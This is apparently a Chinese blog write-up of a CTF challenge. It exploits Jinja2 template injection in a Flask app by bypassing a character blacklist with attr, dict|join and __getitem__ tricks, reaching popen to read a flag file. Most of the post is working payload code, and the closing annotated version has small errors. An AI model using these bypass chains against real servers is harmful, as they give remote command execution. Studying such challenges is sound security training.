HIT-CTF-Warrior Repeater

文章讲述了如何通过Wappalyzer识别一个基于Flask的Web应用可能存在的SSTI漏洞,并逐步通过字符串注入测试,发现了一些字符串被过滤,最后成功利用attr和__getitem__函数获取敏感信息的过程。
摘要由CSDN通过智能技术生成

        首先打开网页,界面如下图所示:

449e12d45faa4c9084b2eab2e14acbf5.png

        使用Wappalyzer查看,查看网页的架构:

c09bb3a782e747e9a8bd005be28af74f.png

        可以发现是一个flask框架的web网页,猜测存在SSTI漏洞。尝试一些简单的注入,检测是否符合猜想:

输入:{{1*7}}

输出:风林火山之飞影必杀术,你已经触犯了银河正义法中不可饶恕之使用‘{{}}罪’我飞影铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!旋风伏魔腿,幻影刀法,飞影疾影箭。

        可以判断出,确实可能存在漏洞,并且后台将{{}}等类似的字符串过滤了;尝试其他字符串注入:

输入:{% set a = 0 %}{% print a%}

输出:你说的是:0

        以上测试,可以说明存在漏洞,且{%%}和print函数没有被ban

        使用下方代码进行注入攻击:

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

        返回数据如下:

你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹。

        可以发现,代码中一些字符串被ban了。

        接下来,通过不断地注入猜测被ban的字符串有哪些:【以下注入返回结果均为:”你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹。“】

{% print " %}
{% print . %}
{% print _ %}
{% print  \ %}
{% print  ' %}

        通过测试可知,以上的字符均不可使用;

        因为.被ban了,所以,如果想要使用.调用函数,需要使用attr函数进行转化:

{% print attr %}

        输出如下:

你说的是:

        可以发现,attr函数没有被ban,所以使用以下代码获取_字符:

{% set pop=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(pop)(24)) %}
{% print(a) %}

        输出如下:

你说的是: _

        可以发现,可以正常输出_,说明我们获取到了_;接下来,我们尝试获取等函数:

{% set pop=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(pop)(24)) %} 
{% print (a, a, dict(init=1)|join, a, a) %}

        返回数据如下:

你说的是:天地无极之刑天必杀术,你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’,我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧!乾坤收魔掌,火光剑法,刑天光爆弹

        推测,init字符串被ban了,使用字符串拼接技术,仿照

{{"".__class__.__bases__[0]. __subclasses__()[139].__init__.__globals__['popen']('cat flag').read()}}

        修改代码:

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %} 
{% set c = (a, a, dict(cla=1, ss=1)|join, a, a)|join %}
{% set b = (a, a, dict(ba=1, se=1)|join, a, a)|join %}
{% set s = (a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join %}
{% print a|attr(c)|attr(b)|attr(s)()[0] %}

        返回结果:

你说的是:天地无极之刑天必杀术, 你已经触犯了银河正义法中不可饶恕之‘使用违法字符串罪’, 我刑天铠甲宣布剥夺你的一切权利并对你进行封印缉捕,束手就擒吧! 乾坤收魔掌,火光剑法,刑天光爆弹。

        推测[]也被ban了。所以使用__getitem__替代:

{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %} 
{% set bl = (()|select|string|list|attr(po)(10)) %} 
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %}
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %}
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %}
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %}
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %}
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %}
{% set p = (dict(po=1, pen=1)|join) %}
{% set ca = (((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
{% set r = (dict(re=1, ad=1)|join)%}
{% print (a|attr(b)|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %}

        返回结果:

你说的是: <class 'os._wrap_close'>

        成功了一大步,接下来接着仿照下面代码修改我们的代码:

{{"".__class__.__bases__[0]. __subclasses__()[139].__init__.__globals__['popen']('cat flag').read()}}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list|attr(po)(24)) %} 
{% set bl = (()|select|string|list|attr(po)(10)) %} 
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %}
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %}
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %}
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %}
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %}
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %}
{% set p = (dict(po=1, pen=1)|join) %}
{% set ca = (((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
"""
注意,如果type无法显示,应该修改成:
{% set ca = (((dict(ca=1, t=1)|join), bl, (dict(fl=1, ag=1)|join))|join) %}
"""
{% set r = (dict(re=1, ad=1)|join)%}
{% print (a|attr(b)|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %}

        获得结果:

你说的是: flag{HIT-Armor-Warrior-YYDS}

        成功!!!

        代码注释如下:

{% set po=dict(po=a,p=a)|join%}  # po="pop"
{% set a=(()|select|string|list|attr(pop)(24)) %}  # a = "_"
{% set bl (()|select|string|list|attr(pop)(10)) %}  # bl = " "
{% set c = ((a, a, dict(cla=1, ss=1)|join, a, a)|join) %}  # c = "__class__"
{% set b = ((a, a, dict(ba=1, se=1)|join, a, a)|join) %}  # b = "__base__"
{% set s = ((a, a, dict(sub=1, cla=1, sses=1)|join, a, a)|join) %}  # s = "__subclasses__"
{% set g = ((a, a, dict(get=1, it=1, em=1)|join, a, a)|join) %}  # g = "__getitem__"
{% set i = ((a, a, dict(in=1, it=1)|join, a, a)|join) %}  # i = "__init__"
{% set gl = ((a, a, dict(glo=1, bals=1)|join, a, a)|join) %}  # gl = "__globals__"
{% set p = (dict(po=1, pen=1)|join) %}  # p = "popen"
{% set ca = ((dict(ty=1, pe=1)|join), bl, (dict(fl=1, ag=1)|join)|join)%}  # ca = "type flag"
{% set r = (dict(re=1, ad=1)|join)%}  # r = "read"
{% print (a|attr(c)|attr(b)|attr(s)()|attr(g)(139)|attr(i)|attr(gl)|attr(g)(p)(ca)|attr(r)()) %}  # print "_".__class__.__base__.__subclasses__()[139].__init__.__globals__["popen"]("cat flag").read()

        推荐阅读:FLask SSTI从零到入门 - 跳跳糖

URL = "https://tttang.com/archive/1698/#toc__10"

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值